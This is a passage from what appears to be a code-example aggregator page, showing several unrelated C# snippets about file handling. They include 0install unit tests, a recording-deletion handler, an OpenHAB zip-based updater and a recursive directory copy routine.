                Assert.AreEqual("file", file.Destination);
                Assert.AreEqual(3, file.Size);

                Assert.IsTrue(File.Exists(tempFile), "Local reference file should not be removed");
            }
        }
Esempio n. 29
0
        /// <summary>
        /// Removes the selected items in the database list box from the database and the recordings folder.
        /// </summary>
        /// <param name="sender">Automatically generated by Visual Studio.</param>
        /// <param name="e">Automatically generated by Visual Studio.</param>
        private void toLocalButton_Click(object sender, EventArgs e)
        {
            try
            {
                using (MPAiModel DBModel = new MPAiModel())
                {
                    // Creating a copy of the list box selected items to iterate through
                    List <SingleFile> selectedItemsCopy = new List <SingleFile>();
                    List <SingleFile> allItems          = DBModel.SingleFile.ToList(); // Avoid n+1 selects problem in the next for loop.
                    foreach (SingleFile sf in onDBListBox.SelectedItems)
                    {
                        SingleFile toAdd = allItems.Find(x => x.SingleFileId == sf.SingleFileId);
                        selectedItemsCopy.Add(toAdd);
                    }

                    // For each item in the database list box...
                    foreach (SingleFile sf in selectedItemsCopy)
                    {
                        Recording  rd    = null;
                        NameParser paser = new NameParser();
                        paser.FullName = sf.Name;       // Add the file to the Parser
                        // Use the parser to create the model objects.
                        if (paser.MediaFormat == "audio")
                        {
                            rd = sf.Audio;
                        }
                        else if (paser.MediaFormat == "video")
                        {
                            rd = sf.Video;
                        }
                        Speaker  spk          = rd.Speaker;
                        Word     word         = rd.Word;
                        Category cty          = word.Category;
                        string   existingFile = Path.Combine(sf.Address, sf.Name);
                        File.Delete(existingFile);      // Delete it,
                        DBModel.SingleFile.Remove(sf);  // And remove it from the database.

                        // If the deleted file was:
                        if (rd.Audios.Count == 0 && rd.Video == null)   // The last file attached to a recording, then delete the recording.
                        {
                            DBModel.Recording.Remove(rd);
                        }
                        if (spk.Recordings.Count == 0)                  // The last recording attached to a speaker, then delete the speaker.
                        {
                            DBModel.Speaker.Remove(spk);
                        }
                        if (word.Recordings.Count == 0)                 // The last recording attached to a word, then delete the word.
                        {
                            DBModel.Word.Remove(word);
                        }
                        if (cty.Words.Count == 0)                       // The last word attached to a category, then delete the category.
                        {
                            DBModel.Category.Remove(cty);
                        }
                        DBModel.SaveChanges();
                    }
                }
                populateListBox();
            }
            catch (Exception exp)
            {
                MPAiMessageBoxFactory.Show(exp.Message, deleteFailedText);
            }
        }
        public void LocalApplySingleFile()
        {
            using (var tempDir = new TemporaryDirectory("0install-unit-tests"))
            {
                string tempFile = Path.Combine(tempDir, "file");
                File.WriteAllText(tempFile, @"abc");

                var file = new SingleFile();
                using (var extractedDir = file.LocalApply(tempFile, new SilentTaskHandler()))
                    File.Exists(Path.Combine(extractedDir, "file")).Should().BeTrue();

                file.Destination.Should().Be("file");
                file.Size.Should().Be(3);

                File.Exists(tempFile).Should().BeTrue(because: "Local reference file should not be removed");
            }
        }
Esempio n. 31
0
        private void UpdateOpenHAB()
        {
            ResetSummary();

            string OpenHABUpdateFileWithPath;

            if (MainForm.UpdateTypeValue == 1)
            {
                UpdateDownloadComplete = false;

                Uri       UpdateFileURI;
                string    OpenHABUpdateFile;
                WebClient OpenHABDownload = new WebClient();

                WriteLog("Downloading OpenHAB update" + Environment.NewLine, true);

                Uri.TryCreate(MainForm.UpdateURL.Text.Trim(), UriKind.Absolute, out UpdateFileURI);
                OpenHABUpdateFile = Path.GetFileName(UpdateFileURI.LocalPath);

                OpenHABUpdateFileWithPath = new Uri(MainForm.UpdatePath.Text.Trim() + "\\" + OpenHABUpdateFile.Trim()).LocalPath;

                if (File.Exists(OpenHABUpdateFileWithPath))
                {
                    File.Delete(OpenHABUpdateFileWithPath);
                }

                OpenHABDownload.DownloadProgressChanged += new DownloadProgressChangedEventHandler(DownloadProgressCallback);
                OpenHABDownload.DownloadFileCompleted   += new AsyncCompletedEventHandler(DownloadFileCompletedCallback);

                try
                {
                    OpenHABDownload.DownloadFileAsync(new System.Uri(MainForm.UpdateURL.Text.Trim()), OpenHABUpdateFileWithPath.Trim());

                    while (!UpdateDownloadComplete)
                    {
                        Application.DoEvents();
                    }
                }
                catch (Exception DownloadException)
                {
                    WriteLog("An error occured while downloading OpenHAB update (" + DownloadException.Message + ")" + Environment.NewLine, true, true);

                    return;
                }

                TotalNumberOfItems = 0;
                CurrentItemNumber  = 0;
                bwrPerformUpdate.ReportProgress(0);
            }
            else
            {
                OpenHABUpdateFileWithPath = MainForm.UpdateFile.Text.Trim();
            }

            if (!StopOpenHABService())
            {
                return;
            }

            ZipArchive ZipFileToExtract = null;

            try
            {
                ZipFileToExtract = ZipFile.Open(OpenHABUpdateFileWithPath.Trim(), ZipArchiveMode.Read);
            }
            catch (Exception UpdateException)
            {
                WriteLog("Cannot update OpenHAB using update file: " + OpenHABUpdateFileWithPath.Trim() + " (" + UpdateException.Message + ")" + Environment.NewLine, true, true);

                return;
            }

            foreach (ZipArchiveEntry ZipEntryToCount in ZipFileToExtract.Entries)
            {
                if (!string.IsNullOrEmpty(ZipEntryToCount.FullName))
                {
                    TotalNumberOfItems++;
                }
            }

            if (MainForm.BeforeUpdatingValue == 2)
            {
                CreateFullBackup();
            }
            else if (MainForm.BeforeUpdatingValue == 3)
            {
                CreateConfigurationBackup();
            }

            WriteLog("Updating OpenHAB using update file: " + OpenHABUpdateFileWithPath.Trim() + Environment.NewLine, true);

            var FilesToDelete = File.ReadAllLines(AppDomain.CurrentDomain.BaseDirectory + "DeleteList.dat");

            foreach (var FileToDelete in FilesToDelete)
            {
                bool IsFolder = false;

                if ((!FileToDelete.ToString().Trim().Contains("*")) && (!FileToDelete.ToString().Trim().Contains("?")) && (Directory.Exists(new Uri(MainForm.OpenHABPath.Text.Trim() + "\\" + FileToDelete.ToString().Trim()).LocalPath)))
                {
                    if (File.GetAttributes(new Uri(MainForm.OpenHABPath.Text.Trim() + "\\" + FileToDelete.ToString().Trim()).LocalPath).HasFlag(FileAttributes.Directory))
                    {
                        IsFolder = true;
                    }
                }

                if (IsFolder)
                {
                    try
                    {
                        Directory.Delete(new Uri(MainForm.OpenHABPath.Text.Trim() + "\\" + FileToDelete.ToString().Trim()).LocalPath, true);

                        SummaryFoldersDeleteSucceeded++;

                        WriteLog("Deleting folder: " + new Uri(MainForm.OpenHABPath.Text.Trim() + "\\" + FileToDelete.ToString().Trim()).LocalPath);
                    }
                    catch (Exception DeleteException)
                    {
                        SummaryFoldersDeleteFailed++;

                        WriteLog("Cannot delete folder: " + new Uri(MainForm.OpenHABPath.Text.Trim() + "\\" + FileToDelete.ToString().Trim()).LocalPath + " (" + DeleteException.Message + ")", false, true);
                    }
                }
                else
                {
                    foreach (var SingleFile in Directory.GetFiles(new Uri(MainForm.OpenHABPath.Text.Trim() + "\\").LocalPath, FileToDelete))
                    {
                        try
                        {
                            File.Delete(SingleFile.ToString().Trim());

                            SummaryFilesDeleteSucceeded++;

                            WriteLog("Deleting file: " + SingleFile.ToString().Trim());
                        }
                        catch (Exception DeleteException)
                        {
                            SummaryFilesDeleteFailed++;

                            WriteLog("Cannot delete file: " + SingleFile.ToString().Trim() + " (" + DeleteException.Message + ")", false, true);
                        }
                    }
                }
            }

            foreach (ZipArchiveEntry ZipEntryToExtract in ZipFileToExtract.Entries)
            {
                CurrentItemNumber++;

                if (String.IsNullOrEmpty(ZipEntryToExtract.Name))
                {
                    if (!Directory.Exists(new Uri(Path.Combine(MainForm.OpenHABPath.Text.Trim(), ZipEntryToExtract.FullName)).LocalPath.Substring(0, new Uri(Path.Combine(MainForm.OpenHABPath.Text.Trim(), ZipEntryToExtract.FullName)).LocalPath.Length - ZipEntryToExtract.Name.Length)))
                    {
                        try
                        {
                            Directory.CreateDirectory(new Uri(Path.Combine(MainForm.OpenHABPath.Text.Trim(), ZipEntryToExtract.FullName)).LocalPath.Substring(0, new Uri(Path.Combine(MainForm.OpenHABPath.Text.Trim(), ZipEntryToExtract.FullName)).LocalPath.Length - ZipEntryToExtract.Name.Length));

                            bwrPerformUpdate.ReportProgress(CurrentItemNumber * 100 / TotalNumberOfItems);

                            SummaryFoldersCreateSucceeded++;

                            WriteLog("Creating folder: " + new Uri(Path.Combine(MainForm.OpenHABPath.Text.Trim(), ZipEntryToExtract.FullName)).LocalPath.Substring(0, new Uri(Path.Combine(MainForm.OpenHABPath.Text.Trim(), ZipEntryToExtract.FullName)).LocalPath.Length - ZipEntryToExtract.Name.Length));
                        }
                        catch (Exception UpdateException)
                        {
                            SummaryFoldersCreateFailed++;

                            WriteLog("Cannot create folder: " + new Uri(Path.Combine(MainForm.OpenHABPath.Text.Trim(), ZipEntryToExtract.FullName)).LocalPath.Substring(0, new Uri(Path.Combine(MainForm.OpenHABPath.Text.Trim(), ZipEntryToExtract.FullName)).LocalPath.Length - ZipEntryToExtract.Name.Length) + " (" + UpdateException.Message + ")", false, true);
                        }
                    }
                }
                else
                {
                    try
                    {
                        ZipEntryToExtract.ExtractToFile(new Uri(Path.Combine(MainForm.OpenHABPath.Text.Trim(), ZipEntryToExtract.FullName)).LocalPath, false);

                        bwrPerformUpdate.ReportProgress(CurrentItemNumber * 100 / TotalNumberOfItems);

                        SummaryFilesExtractSucceeded++;

                        WriteLog("Extracting file: " + ZipEntryToExtract.FullName);
                    }
                    catch (Exception UpdateException)
                    {
                        bwrPerformUpdate.ReportProgress(CurrentItemNumber * 100 / TotalNumberOfItems);

                        SummaryFilesExtractSkipped++;

                        WriteLog("Skipping file extraction: " + ZipEntryToExtract.FullName + " (" + UpdateException.Message.ToString() + ")");
                    }
                }
            }

            ZipFileToExtract.Dispose();

            WriteSummary("Update summary");

            WriteLog(Environment.NewLine + "Update complete" + Environment.NewLine, true);
        }
Esempio n. 32
0
 /// <summary>
 /// Adds a file to the implementation.
 /// </summary>
 /// <param name="builder">The builder.</param>
 /// <param name="metadata">The metadata of the file.</param>
 /// <param name="stream">The contents of the file.</param>
 /// <exception cref="UnauthorizedAccessException">Access to a resource was denied.</exception>
 /// <exception cref="IOException">An IO operation failed.</exception>
 public static void AddFile(this IBuilder builder, SingleFile metadata, Stream stream)
 => builder.AddFile(metadata.Destination, stream, 0, metadata.Executable);
Esempio n. 33
0
        public static void Copy(CopyParameter cp)
        {
            CopyParameter Info = cp;

            if (!Directory.Exists(Info.Source))
            {
                throw new FileNotFoundException();
            }
            if (!Directory.Exists(Info.Destination))
            {
                Directory.CreateDirectory(Info.Destination);
            }
            string[] DirFiles;
            string[] DirDirs;
            try
            {
                DirFiles = Directory.GetFiles(Info.Source);
                DirDirs  = Directory.GetDirectories(Info.Source);
            }
            catch { throw new FileNotFoundException(); }
            foreach (string SingleDir in DirDirs)
            {
                bool isIgnore = false;
                if (cp.IgnoreFolders != null)
                {
                    foreach (string iFolder in cp.IgnoreFolders)
                    {
                        if (SingleDir.ToLower().IndexOf(string.Concat("\\", iFolder.ToLower())) > 0)
                        {
                            isIgnore = true; break;
                        }
                    }
                }
                if (isIgnore)
                {
                    continue;
                }
                string DirName = "\\";
                DirName = string.Concat(DirName, SingleDir.Split('\\')[SingleDir.Split('\\').Length - 1]);
                CopyParameter NextInfo = new CopyParameter();
                NextInfo.Destination   = string.Concat(Info.Destination, DirName);
                NextInfo.Source        = SingleDir;
                NextInfo.IgnoreFolders = cp.IgnoreFolders;
                NextInfo.IsOverwrite   = cp.IsOverwrite;
                Copy(NextInfo);
            }
            foreach (string SingleFile in DirFiles)
            {
                try
                {
                    string FileName     = SingleFile.Split('\\')[SingleFile.Split('\\').Length - 1];
                    string destFileName = string.Concat(Info.Destination, "\\", FileName);
                    if (!Info.IsOverwrite && File.Exists(destFileName))
                    {
                        continue;
                    }
                    File.Copy(SingleFile, destFileName, Info.IsOverwrite);
                }
                catch (Exception ex)
                {
                    LogBuilder.NLogger.Error(ex);
                    //throw ex;
                }
            }
        }